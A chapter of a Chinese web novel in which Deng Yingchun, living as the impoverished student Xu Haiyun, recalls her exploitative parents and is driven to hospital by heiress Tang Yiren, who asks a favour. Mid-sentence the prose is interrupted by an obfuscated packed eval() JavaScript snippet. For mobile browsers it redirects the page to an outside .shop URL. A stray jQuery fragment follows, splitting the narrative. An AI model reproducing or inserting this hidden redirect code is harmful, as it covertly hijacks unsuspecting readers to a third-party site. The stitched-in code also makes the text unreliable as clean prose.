邓迎春换下星辰café的工作服,穿回简单的白T牛仔裤。
她在洗手间重新检查了一下头上的伤,红红的,肿起了一大片。她有点心疼自己,接着叹了口气。身体是许海雲的,但疼是她的。
还是太久没做任务了,有些不习惯。
离开时,天空下起细雨,雾蒙蒙的。邓迎春望着脚下的帆布鞋,喃喃,“又要洗了。”
星辰café离A大并不远,邓迎春也是因此才选择来这里做兼职。
雨不大,她也没带伞,打算直接跑回宿舍就行了。
刚准备提起脚狂奔,身后传来风铃晃动的清脆声。
邓迎春回头,是唐伊人。
“下雨了,我送你。”
或许是一直抱着她是外来人的心态,邓迎春从未费心去记周围路人的脸。有时候班上的同学走在路上,挥手同她打招呼,她都后知后觉。
而此刻,唐伊人的脸变得尤为清晰,她长着一张巴掌大的圆脸,眼睛也圆圆的,乌亮地闪烁着,像两颗黑紫色的葡萄。
唐伊人很精致,仿佛只有这样的人才配称得上是千金大小姐。
“好呀。”邓迎春微笑点头,她面色自然,仿佛理应如此。
邓迎春又等了两分钟,唐伊人才从地下车库将她的跑车开到店门口,邓迎春没有磨叽,飞速闪身上车,身上没淋什么雨,但鞋底难免湿了。
浑浊的液体浸入雪白的地垫上,留下了淡黄色的晕痕。
“抱歉,把你地垫搞脏了,下次天晴的时候我帮你洗干净。”
“不用了,我下次洗车的时候,顺带就清洗了。”
“行,你不介意,那我也不客气了。”邓迎春一派坦然。
唐伊人心底生出了几分讶异,作为唐家这辈的长女,她曾经有很多家境一般的朋友,那些人在知道她真实身份后,或是谄媚巴结,或是疏远客套。没有一个像面前这人一样,仿佛并不在意她是谁,也不在乎她们之间的贫富差距。
“先去医院吧。”邓迎春改变了原先回宿舍的想法。
她身上仅有几百块,就这还是这个月兼职的钱发下来才有的。
邓迎春刚来的时候,许海雲身无分文。
许海雲千里迢迢来A城上大学,家里没出一分钱,她能去A大上学,还是家里听说A大奖学金高,A城人兼职都赚得比他们村里多,家里才同意放她出来的。不然的话,她得留在本地的地级市,读那个刚过一本线的普通大学。
可惜许海雲虽然有幸被A大录取,但没有特殊的奖学金,因此她的车票还是高三毕业的暑假打工攒的。
许海雲在乡里的小超市打工,攒下六千块。领到工资的那天,许海雲拿着钱兴冲冲地跑回家,她想把这个好消息告诉爸妈,学费她自己攒下了大半了。
“你个女娃哪有什么花钱的地方,去A城带这么多现金干甚,别被人偷了。”许父如是说道。
“你爸说得有道理,听镇上赶集的说,城里小偷多,你这钱留下来吧,你弟弟妹妹们上学还得花钱呢。”许母道。
乡下人别的不多,孩子贼多。
许海雲作为家中长女,从小就听从父母的话,帮着家里干活,努力学习。父母说,她作为姐姐,必须要有出息,一定要搏个好前程,弟弟妹妹将来还指着她呢。
这是她第一次心里生出了疑惑,她自己打工赚的钱,凭什么留在家里。说是给弟弟妹妹上学花,恐怕都给弟弟打游戏了。
“妈,我这钱还得买车票,还得交学费呢。”许海雲小声道。
许母一边给上初中的耀祖喂饭,一边不在意地说,“你把钱给你爸,要你爸帮你买车票。学费你可在A城打工攒嘛,听你林婶婶说,A城那边兼职可赚钱了,她小侄子一个月能赚万把块呢。可比咱们这赚钱多了。”
“人家是跑外卖,我还要上学,没时间。”
“海雲,你妈说得对,你都是A大的高材生了,到了A城还怕赚不到钱。”许爸一脸慈爱,笑着将许海雲攥在手上的六千块抽走了。
许海雲过完一个学期,经济情况并没好起来,寒假她没回去,仍留在A城打工。她在A城打工攒下的钱,全数交了学费,剩下的一点还被许家父母找各种理由要回去了。
她想,快过年了,她也长大了,是大人了,该给父母压岁钱的。
正值一年新春,到处张灯结彩,洋溢着欢喜的过年氛围。路上的行人,三两成群。
许海雲走在下班回宿舍的路上,瞥见前方的一家三口。他们穿着蓬松的羽绒服,戴着大红色的围巾,七八岁的小屁孩正趴在地上玩雪,他捧起雪,恣意地笑着朝爸爸妈妈洒了过去。
男孩的父母也跟着蹲了下来,挖起一大块雪丢到男孩背上。
豆大的雪花飘在许海雲冻得通红的脸上,她忽地哭了,脸上的雪和泪混在一起,流进嘴巴里。她轻轻尝了一口,涩的。
邓迎春就是那个时候来的,她擦干了脸上的雪渍,一路小跑回了宿舍。
宿舍内,除了几件洗得薄薄的旧衣服和打电话用的小灵通,什么都没有。
许海雲没什么私人物品,连她高中用的书和本子,都被爸妈留了下来,说是留给弟妹用。
为了交下个学期的学费,采买生活必需品,吃饭,邓迎春只得向刚认识的辅导员借了点钱。后来这半年邓迎春打工兼职还有当家教赚得钱,全用来还债了。
后来有了闲钱,邓迎春把许海雲的古董小灵通卖了,加了钱在某鱼上淘了台二手智能手机用着。
邓迎春卖小灵通的时候,顺便把里面的电话卡给丢了,防止许海雲的吸血鬼父母找她要钱,毕竟她可不是许海雲,指不定在电话里就能把那俩老不要脸的给气吐血了。
邓迎春对手机要求不高,能玩些简单的游戏就行,这也算是她休假生活里的一点小娱乐,顺便还能跟班上的同学沟通下感情。毕竟不能太不合群,这些同学将来也都算是许海雲的一点小人脉。
就这么省吃俭用,半年下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700506|208146||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来邓迎春也才攒下几百,许父许母只看到了A城赚钱多,却没看到A城开销大。有那样的父母,也难怪许海雲的心愿是能不能活得自在些。
简洁的一句话,却并不简单。自由这种东西,哪是那么轻松就能达成的。
就像刚才,因为捉襟见肘,邓迎春是舍不得打车去医院的,她也不想提前垫付医药费,毕竟垫了钱,明天还不知道吃什么呢。
她素来不喜借钱,好不容易把债务还清了,自然不愿意再向旁人开口。尽管许海雲的那几个室友,为人大方,性子温和又极好相处。
若不是唐伊人,邓迎春指定得拖到明天家教课结束后结了钱,才肯去医院。现在唐伊人主动提出送她,还愿意带她去医院,帮她付医药费,已经算是她的幸运了。
这世界就是这样,想要自由自在,除了摆脱把许海雲看成血包的父母,还得先有钱。既然接了这个历练任务,现在任务正式开始了,就得先帮许海雲搞钱才行。
自由的前提是钱,然后是健康。许海雲上辈子是过劳死的,所以健康方面,邓迎春也得注意。
许海雲长期营养不良,整个人面黄肌瘦的,邓迎春来了之后,才稍微养好了一点,可也仅是一点点。
想到这,坐在车内的邓迎春无奈地笑了笑,她哪吃过许海雲这种苦。
真实世界的她,家境虽称不上是富裕,却也算得上小康,父母恩爱,又仅有她这一个独生女,所以她从未感受过贫穷,想要什么都会尽力去满足她。
也就是长大后,她搬出家,刚开始工作,嘴硬不愿意向父母伸手要钱的时候,苦过一小段时间。后来升职了,虽然天天要加班,让她怨念不已,但钱倒是一点不缺的。
后面的几个任务世界,拜凝儿是富家女,谢安之虽家里破产但前有江家养她后有自己发歌赚钱,小七是螃蟹妖会仙术不需要钱,许一笑是皇后更不用提,还有易初竹是大明星,虽然被黑得厉害,却也不缺钱。
独许海雲像颗可怜的小白菜,没人爱,被邓迎春稍稍养好了一点,却看上去依旧是瘦瘦小小的。
“你是A大的。”唐伊人用肯定的语气将这句话说出来,她正开车,看不见邓迎春的表情,但她还是补了句,“你别担心,我没调查你,我是在你简历上看到的。”
“嗯,我是。”邓迎春轻声应道。
“其实…”唐伊人为自己接下来要说的话,感到难以启齿。
《诱他沉沦》中唐伊人的戏份并不算多,邓迎春努力回想原剧情唐伊人的相关事件,忽然意识到一件事。书中所有提及唐伊人恋人的话题,都是用‘对象’两个字代替的。
“我想请你帮一个忙。”唐伊人还是开了口。
邓迎春双眼发亮,觉得自己隐约猜中了事实,“什么忙?”
“你知道靳知许吧?就是刚在咖啡店里最后进来的那个帅哥。他也是A大的,不知道你有没有听过。”唐伊人的声音变得有些低沉。
她眼神晦暗,“我要你接近他。”